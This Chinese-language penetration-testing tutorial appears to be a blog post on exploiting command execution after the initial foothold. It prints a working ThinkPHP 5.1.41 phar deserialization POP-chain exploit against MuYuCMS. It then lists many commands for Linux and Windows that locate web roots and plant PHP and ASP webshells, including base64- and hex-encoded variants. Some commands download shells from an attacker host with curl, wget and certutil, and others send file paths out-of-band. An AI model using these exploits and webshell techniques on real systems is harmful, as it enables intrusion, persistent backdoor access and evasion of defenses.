前言
相信对于命令执行大家都是比较熟悉的吧,输入命令ipconfig
、calc
、systeminfo
、whoami
等等
在测试的过程中只要执行这些命令就可以了,但在某些时候,咱们为了进行深入的渗透测试,往往会直接想上线CS/MSF,或者写入一个WebShell方便咱们进行信息搜集
这个时间,大部分的教程只是写到执行whoami
基本上就结束了,很多的poc
亦是如此
通常情况下咱们利用相对路径就可以上线哥斯拉,但是对于mssql一类的命令执行来说,咱们得知道绝对路径才可以
今天就给大家带来一期的教程关于命令执行漏洞的进一步利用,帮助咱们实现文件落地,上线哥斯拉、cs、msf等后渗透利用工具
环境
这是前端时间学习代码审计搭建的一个环境
基于thinkphp 5.1.41 LTS 的内容管理系统MuYucms,因为今天主要介绍的命令执行后续利用,关于这个程序的介绍就不在这里多加赘述了
主要利用的漏洞是thinkphp 5.1.41 LTS phar反序列化漏洞导致的命令执行
关于phar利用需要程序中存在类似于is_dir
、file_exist
等判断文件存在的函数,对其进行利用即可
现在已知程序存在命令执行漏洞,通过构造POP链,可以成功弹出计算机
payload如下:
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}
namespace think\model\concern {
trait Conversion
{
protected $append = array("smi1e" => "1");
}
trait Attribute
{
private $data;
private $withAttr = array("smi1e" => "system");
public function get()
{
$this->data = array("smi1e" => 'calc');
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct()
{
$this->get();
}
}
}
namespace {
$conver = new think\model\Pivot();
$a = new think\process\pipes\Windows($conver);
$phar = new Phar('x.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($a);
$phar -> stopBuffering();
}
?>
咱们只需要修改一下命令即可
public function get()
{
$this->data = array("smi1e" => 'calc');
}
这里先写一下最后写入shell的命令
其中^
是windows中进行转义的,方便咱们输出<>
等特殊符号
{
$this->data = array("smi1e" => 'cmd /c "echo ^<?php phpinfo();?^> > ../WWW/MuYuCMS-master/shell1568.php"');
}
可是问题出来了,咱们不能只输出计算机呀,还是上线哥斯拉来的实在,接下来就分情况给大家介绍一下上线方式。
Linux
1、目标出网,存在回显
最好的情况就是,前台或者后台存在文件上传的地方,并且咱们可以获取到上传的路径,这样可以最大程度方便咱们写入shell,如果不能获取绝对路径,那就只能进行搜索
查找绝对路径:
locate 18dfd20b.jpg 2>/dev/null
find / -name 18dfd20b.jpg 2>/dev/null
find / | grep 18dfd20b.jpg 2>/dev/null
find /var/www/html/ -name "*.php" | xargs grep "网站标题"
常规写入shell命令:
echo '<?php eval($_POST[1]);?>' > /var/www/html/shell.php
远程下载脚本文件(支持出网):
curl http://192.168.157.130/shell.txt > /var/www/html/shell.php
wget http://192.168.157.130/shell.txt -O /var/www/html/shell.php
2、目标出网,命令无回显
大多数情况下,咱们遇到的环境还是命令无回显的情况,这个时候咱们第一反应就是尝试进行带外,
其实还有一个思路就是把命令执行的结果保存下来,然后访问保存的文件,但咱们现在就是要获取绝对路径,有点本末倒置了
查找绝对路径:
开启一个带外地址,监听访问的信息
python -m SimpleHTTPServer 8000
python3 -m http.server 8000
使用`执行命令,带出咱们想要的地址
curl http://192.168.157.130:8000/`find / | grep 18dfd20b.jpg`
wget http://192.168.157.130:8000/`find / | grep 18dfd20b.jpg`
编码写入
echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ | base64 -d > /var/www/html/shell.php //base64
echo 3C3F706870206576616C28245F504F53545B315D293B3F3E | xxd -r -ps > /var/www/html/shell.php //16进制
3、目标不出网,命令无回显
目标不出网,这个时间咱们就没办法在利用上面的命令进行操作了
但是咱们可以直接使用命令进行搜索,在找到该文件的时候,将这个文件的地址保存到当前相同路径下的一个文本文件中,咱们直接访问这个文件即可获取绝对路径
find / -name 18dfd20b.jpg | while read f; do echo "$f" > "$(dirname "$f")/path.txt"; done
建议先获取相对路径,然后在执行写入shell命令,如果直接写入shell可能会因为存在相同命名的文件,不便于咱们清理痕迹
find / -name 18dfd20b.jpg | while read f;do bash -c "echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ | base64 -d">$(dirname $f)/shell.php;done
find / -name 18dfd20b.jpg | while read f;do bash -c "echo 3C3F706870206576616C28245F504F53545B315D293B3F3E | xxd -r -ps">$(dirname $f)/shell.php;done
Windows
针对windows系统,咱们还是按照以下三个层次进行介绍,思路与linux大致类似,主要就是相关的命令不同
1、目标出网,存在回显
查找绝对路径:
以下是鄙人phpstudy搭建的环境为例,对于iis搭建的可以将盘符设置为C盘,并且搜索文件为.asp
dir /a/b/s G:\18dfd20b.jpg
where /r G:\ 18dfd20b.jpg
for /r "G:\" %i in (18dfd20b.jpg*) do @echo %i
findstr /n /s /i "网站标题" G:\*.php
%windir%\system32\inetsrv\appcmd list VDIR // 用于列出 IIS 中的虚拟目录
写入shel文件:
set /p="<%execute request("1")%>" <nul >> C:\inetpub\wwwroot\shell.asp
echo ^<%execute request("1")%^> > C:\inetpub\wwwroot\shell.asp
certutil -urlcache -split -f http://192.168.157.130:8000/shell.txt C:\inetpub\wwwroot\shell.asp
2、目标出网,命令无回显
此时咱们还是先循环遍历目录地址,然后将找到的文件绝对路径保存在变量%i中,然后执行certutil通过httplog方式来获取目标网站的绝对路径,或者直接写入Webshell,需转义或有防护时可尝试编码方式写入,需清理shell.txt。
查找绝对路径:
开启带外地址
python -m SimpleHTTPServer 8000
python3 -m http.server 8000
for /r C:\ %i in (18dfd20b.jpg*) do certutil -urlcache -split -f http://192.168.157.130:8000/%i
常规方式写入:
for /r C:\ %i in (18dfd20b.jpg*) do echo ^<%execute request("1")%^> > %i/../shell.asp
编码方式写入:
for /r C:\ %i in (18dfd20b.jpg*) do echo PCVleGVjdXRlIHJlcXVlc3QoIjEiKSU+ > %i/../shell.txt & certutil -decode %i/../shell.txt %i/../shell.asp
for /r C:\ %i in (18dfd20b.jpg*) do echo 3C256578656375746520726571756573742822312229253E > %i/../shell.txt & certutil -decodehex %i/../shell.txt %i/../shell.asp
3、目标不出网,命令无回显
在不出网并且不回显的情况下,咱们还是可以先进行遍历文件目录,然后在遍历到文件之后,直接在相应的目录下面写入我们需要的文件即可,这里还是建议先获取到相应路径,然后针对路径进行写入shell好一些
查找绝对路径写入至web目录:
for /r C:\ %i in (18dfd20b.jpg*) do echo %i> %i\..\path.txt
for /f %i in ('dir /s /b C:\18dfd20b.jpg') do echo %i> %i\..\path.txt
forfiles /P C:\ /S /M 18dfd20b.jpg /C "cmd /c dir /a/b/s C:\18dfd20b.jpg > path.txt"
for /r C:\ %i in (18dfd20b.jpg*) do echo ^<%execute request("1")%^> > %i/../shell.asp
for /f %i in ('dir /s /b C:\18dfd20b.jpg') do echo ^<%execute request("1")%^> > %i/../shell.asp
forfiles /P C:\ /S /M 118dfd20b.jpg /C "cmd /c echo ^<%execute request("1")%^> > shell.asp"
如果对方有防护,咱们可以进行编码或者转义之后再次写入
复现
回归上文的thinkphp命令执行写入shell,咱们用的命令为
{
$this->data = array("smi1e" => 'cmd /c "echo ^<?php phpinfo();?^> > ../WWW/MuYuCMS-master/shell1568.php"');
}
如果直接使用命令echo ^<?php phpinfo();?^> > shell1568.php"
,默认会写入到phpstudy的COM路径下面,这样咱们就没办法直接利用,需要利用上述出网方式进行获取相应文件地址
"E:\phpstudy_pro\WWW\MuYuCMS-master\shell1568.php"
此时咱们就可以愉快的写入shell啦
总结
本文主要记录了一下本人在执行命令之后关于进一步进行测试的一些思考,
以上方法总结一下就是:遍历已经存在的文件名,获取相应的地址,然后根据这个地址写入shell
思路参考:
命令执行之文件落地利用总结
https://developer.aliyun.com/article/1340944
「渗透云记」公众号里主要记录我每天的所思所想,我会坚持更新质量不错的文章,感兴趣的小伙伴可以扫描下方二维码,谢谢支持!
请登录后查看评论内容